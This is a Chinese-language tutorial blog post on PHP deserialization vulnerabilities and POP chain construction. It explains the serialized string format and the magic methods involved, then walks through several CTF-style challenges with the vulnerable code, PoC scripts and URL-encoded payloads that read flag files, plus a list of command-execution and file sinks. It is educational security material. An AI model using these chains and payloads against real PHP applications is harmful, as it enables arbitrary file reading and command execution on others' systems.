0%

PHP反序列化和POP链构造

最近看了点web,记录一下对于php中的反序列化以及构造POP链的过程。

PHP反序列化理解

简介

php反序列化简单来说就是对两个函数的操作:

1
2
serialize  //将一个对象转换成字符串
unserialize //将字符串还原成对象

序列化:将php值转换为可存储或传输的字符串,目的是防止丢失其结构和数据类型。

反序列化:序列化的逆过程,将字符串再转化成原来的php变量,以便于使用。

本质上反序列化是没有危害的,但如果反序列化的内容可控,就容易导致漏洞。

php魔术方法

PHP提供了许多“魔术”方法,这些方法由两个下划线前缀(__)标识。它们充当拦截器,在满足某些条件时会自动调用它们。 魔术方法提供了一些极其有用的功能。

常见的魔术方法有:

  • construct(), destruct()

    构造函数与析构函数

  • call(), callStatic()

    方法重载的两个函数

    __call()是在对象上下文中调用不可访问的方法时触发

    __callStatic()是在静态上下文中调用不可访问的方法时触发。

  • get(), set()

    __get()用于从不可访问的属性读取数据。

    __set()用于将数据写入不可访问的属性。

  • isset(), unset()

    __isset()在不可访问的属性上调用isset()或empty()触发。

    __unset()在不可访问的属性上使用unset()时触发。

  • sleep(), wakeup()

    serialize()检查您的类是否具有魔术名sleep()的函数。如果是这样,该函数在任何序列化之前执行。它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。此外,如果您有非常大的对象,不需要完全保存,该功能将非常有用。

    unserialize()使用魔术名wakeup()检查函数的存在。如果存在,该功能可以重构对象可能具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。

  • __toString()

    __toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。

  • __invoke()

    当脚本尝试将对象调用为函数时,调用__invoke()方法。

  • __set_state()

    当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值

  • __clone()

    进行对象clone时被调用,用来调整对象的克隆行为

  • __debugInfo()

    当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本

下面这个例子方便理解这些函数的利用过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php

# 设置一个类A
class A{
private $name = "AS1def";
function __construct()
{
echo "__construct() call\n";
}

function __destruct()
{
echo "\n__destruct() call\n";
}

function __toString()
{
return "__toString() call\n";
}
function __sleep()
{
echo "__sleep() call\n";
return array("name");
}
function __wakeup()
{
echo "__wakeup() call\n";
}
function __get($a)
{
echo "__get() call\n";
return $this->name;
}
function __set($property, $value)
{ echo "\n__set() call\n";
$this->$property = $value;
}
function __invoke()
{
echo "__invoke() call\n";
}
}

//调用 __construct()
$a = new A();

//调用 __toSting()
echo $a;

//调用 __sleep()
$b = serialize($a);
echo $b;

//调用 __wakeup()
$c = unserialize($b);
echo $c;

//不存在这个bbbb属性,调用 __get()
echo $a->abcd;

//name是私有变量,不允许修改,调用 __set()
$a->name = "pro";
echo $a->name;

//将对象作为函数,调用 __invoke()
$a();

//程序结束,调用 __destruct() (会调用两次__destruct,因为中间有一次反序列化)

程序运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
construct() call

__toString() call
__sleep() call
O:1:"A":1:{s:7:"%00A%00name";s:6:"As1def";}

__wakeup() call

__toString() call

__get() call
As1def

__set() call

__get() call
pro
__invoke() call

__destruct() call

__destruct() call

序列化字符串

一个序列化后的字符串:

1
2
3
4
5
O:1:"A":1:{s:7:"%00A%00name";s:6:"As1def";}
O代表这是一个对象,第一个1代表对象名称的长度,第二个1代表成员个数。
大括号中分别是:属性名类型、长度、名称;值类型、长度、值。
s代表string类型
另外还有b=>bool i=>int d=>double a=>array N=>NULL;

这里有一个需要注意的地方,Aname明明是长度为5的字符串,为什么在序列化中显示其长度为7?

翻阅php官方文档我们可以找到答案:

对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上’*’。这些前缀值在任一侧都有空字节。看下面的例子:

private

1
2
3
4
5
6
7
8
9
<?php
class Test{
private $test='hello';
private $var;
}
$t = new Test();
$data = serialize($t);
echo($data);
file_put_contents("serialize.txt", $data);

img

所以说,在我们需要传入该序列化字符串时,需要补齐两个空字节:

即上面所显示的%00A%00name。

protected

换成protected, 属性序列化之后又变了,属性名变成了%00*%00test%00*%00var

也就是%00*%00属性名

img

注意这些点对构造payload很关键,当我们直接将private protected的属性进行序列化,得到的序列化字符串的payload将无效,因为0x00的缘故。我们就可以直接利用urlencode来修改我们的payload。

php反序列化漏洞

通常反序列化漏洞的成因在于代码中的 __unserialize(),__wakeup()等魔术方法接收的参数可控,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用修改对象的属性实现最终的攻击。

比如,demo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// flag is in flag.php
class demo
{
private $filename = 'demo.php';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->show($this->filename);
}
public function show($filename)
{
show_source($filename);
}
}
unserialize($_GET['s']);

上面的代码是接收一个参数s,然后将其反序列化,反序列化后,会调用__wakeup()方法。如果一切正常的话,这个方法会显示一下demo.php文件的源代码。但是参数s是可控的,也就是说对象s的属性是可控的。于是我们可以伪造一个filename来构造对象。

POC

1
2
3
4
5
6
7
8
<?php
class demo
{
private $filename = "flag.php";
}
$a = new demo();
$b = serialize($a);
echo urlencode($b);

img

可以看到,当我们对象参数可控时,可以伪造对象的一些属性,从而实现任意文件读取等操作。

正如,之前所说, 这里定义的对象为私有类型,如果我们没有urlencode,就会得到一个非正确的payload:

1
2
3
4
5
O:7:"popdemo":1:{s:17:
0x00之后会截断

这样是可以的:
s=O:7:"popdemo":1:{s:17:"%00popdemo%00filename";s:8:"flag.php";}

了解了反序列化的过程后,接着看下一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);
class home
{
private $method;
private $args; //私有类型定义两个变量
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
function __destruct()
{
if (in_array($this->method, array("mysys"))) { //当method为mysys时
call_user_func_array(array($this, $this->method), $this->args);
} //调用mysys函数,并把args作为mysys的数组参数回调
}

function mysys($path)
{
print_r(base64_encode(exec("cat $path")));
}//把结果base64编码打印
function waf($str)
{
if (strlen($str) > 8) {
die("No");
}//限制字符串长度
return $str;
}

function __wakeup()
{
$num = 0;
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
$num += 1;//遍历出$k和$v然后计算$v里的空格,大于2则die
if ($num > 2) {
die("No");
}
}
}
}

if ($_GET['path']) {//如果传入path反序列化path
$path = @$_GET['path'];
unserialize($path);
} else {
highlight_file(__FILE__);

}

虽然有两个waf,但其实限制并不生效,因为无论前面有没有die,析构函数__destruct最后都会触发,因此只要保证method是”mysys”,args为数组参数就可以了,还有就是由于method和args是私有类型,所以最后payload用url编码方式打印出即可。

POC

1
2
3
4
5
6
7
8
9
10
11
<?php
class home
{
private $method='mysys';
private $args=array('flag.php');
}
$a=new home("mysys",array("flag.php"));
$b=serialize($a);
$b=str_replace(":2:", "3:", $b);
echo urlencode($b);//method和args是私有类型,最后利用url编码打出即可
?>

得到payload:

1
?path=O%3A4%3A%22home%223%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A5%3A%22mysys%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22flag.php%22%3B%7D%7D

POP链构造

POP链的含义

笼统来讲,POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者恶意利用的目的。

说的再具体一点反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

也可以这样理解,构造一条完整的调用链,这条调用链与原来代码的调用链一致,不过部分属性被我们所控制,从而达到攻击目的。构造的这条链就是POP链。

实例理解POP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}

class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}

public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test
{
public $p;
public function __construct()
{
$this->p = array();
}

public function __get($key)
{
$function = $this->p;
return $function();
}
}

if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}

利用思路

  • 先看读文件的函数在哪:Read.file_get里面有一个file_get_contents Show._show()中有一个highlight_file
  • 我们可控的是hello参数,调用unserialize()函数,即__wakeup()魔术方法,于是就只有Show类中存在该方法,但是注意到在Show.__wakeup()中存在一个正则匹配,这个正则匹配会将$this->source当成字符串来处理。也就是说会调用Show.__toString()方法。
  • 定位到Show.__toString(),可以将source序列化为Show类的对象,就会调用__toString方法。__toString又会取一个str['str']->source,那么如果这个source不存在的话,就会执行__get()方法。
  • __get()魔术方法会调用一个$p变量,这个也是可控的,然后会将p当做函数调用,此时触发了Read.__invoke()魔术方法
  • __invoke魔术方法会触发file_get()函数,进而base64_encode(file_get_contents($value))最终达到读文件的目的。

这样分析过后就得到了一条完整的POP链:

1
hello -> __wakeup -> Show._show -> Show.__toString -> (不存在属性)Test.__get() -> Read.__invoke

注意对象关系(hello是Show的对象,source属性是Test的对象,p属性是Read的对象)

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Read {
public $var="flag.php";

}

class Show
{
public $source;
public $str;
}

class Test
{
public $p;
}

$show = new Show();
$test = new Test();
$read = new Read();
$test->p = $read;
$show->source = $show;
$show->str['str'] = $test;

echo serialize($show);//在存在private和protected属性的情况下还是需要使用urlencode的。
?>

总结:

POP链:unserialize函数(变量可控)–>wakeup()魔术方法–>tostring()魔术方法–>get魔术方法–>invoke魔术方法–>触发Read类中的file_get方法–>触发file_get_contents函数读取flag.php

实例2:安恒月赛babygo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php  
@error_reporting(1);
include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}

class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}

class sec
{
function read()
{
return "it's so sec~~";
}
}

if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
else
{
highlight_file("./index.php");
}
?>

分析流程:

  • 从baby类开始入手,当通过baby类new一个skyobj对象进行反序列化时,触发construct(),$this->skyobj= new sec;这一句则又会触发toString(),从而得出的结果是 “it’s so sec~~”;
  • cool类中有read()函数,有file_get_contents函数,只要满足if($this->nice->aaa === $this->nice->bbb)就可以继续往下面执行,但发现了一个未知变量 $sth, $this->nice->aaa = $sth;这样的话aaa的值就不能确定了
  • 关键代码在cool类的read方法中,但baby类中调用的却是sec类的read方法,所以这个时候就要用到POP链构造

构造POP链,发现$this->nice = unserialize($this->amzing);,可以先构造到这个地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class baby 
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool;//更改为cool类
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}

class cool
{
public $filename='flag.php';
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
$lemon = new baby();
echo urlencode(serialize($lemon));

这样amazing便是一个序列化后的baby类的对象

1
O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D

接下来就需要考虑如何绕过if条件和未知变量 $sth

可以通过使用指针来进行绕过

指针在运行时可以改变其所指向的值,而引用一旦和某个对象绑定后就不再改变

1
2
$a->bbb =&$a->aaa;
#通过指针,bbb会跟随aaa动态改变

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool;//更改为cool类
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}

class cool
{
public $filename='./flag.php';
public $nice;
public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D
';
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
}
}

$a = new baby();
$a->bbb =&$a->aaa;
echo urlencode(serialize($a));

生成可利用payload:

1
O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A245%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253Bs%253A8%253A%2522flag.php%2522%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BN%253B%257D%0A%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D

那么这里已经对POP链有了一个简单理解,面向对象编程从一定程度上来说,就是完成类与类之间的调用。就像ROP一样,POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”。在PHP中,“组件”就是这些魔术方法(wakeup()或destruct)。

就比如我们在利用的过程中,希望出现的一些对我们来说有用的POP链方法:

命令执行:

1
2
3
4
exec()
passthru()
popen()
system()

文件操作:

1
2
3
file_put_contents()
file_get_contents()
unlink()
----------------本文结束感谢阅读----------------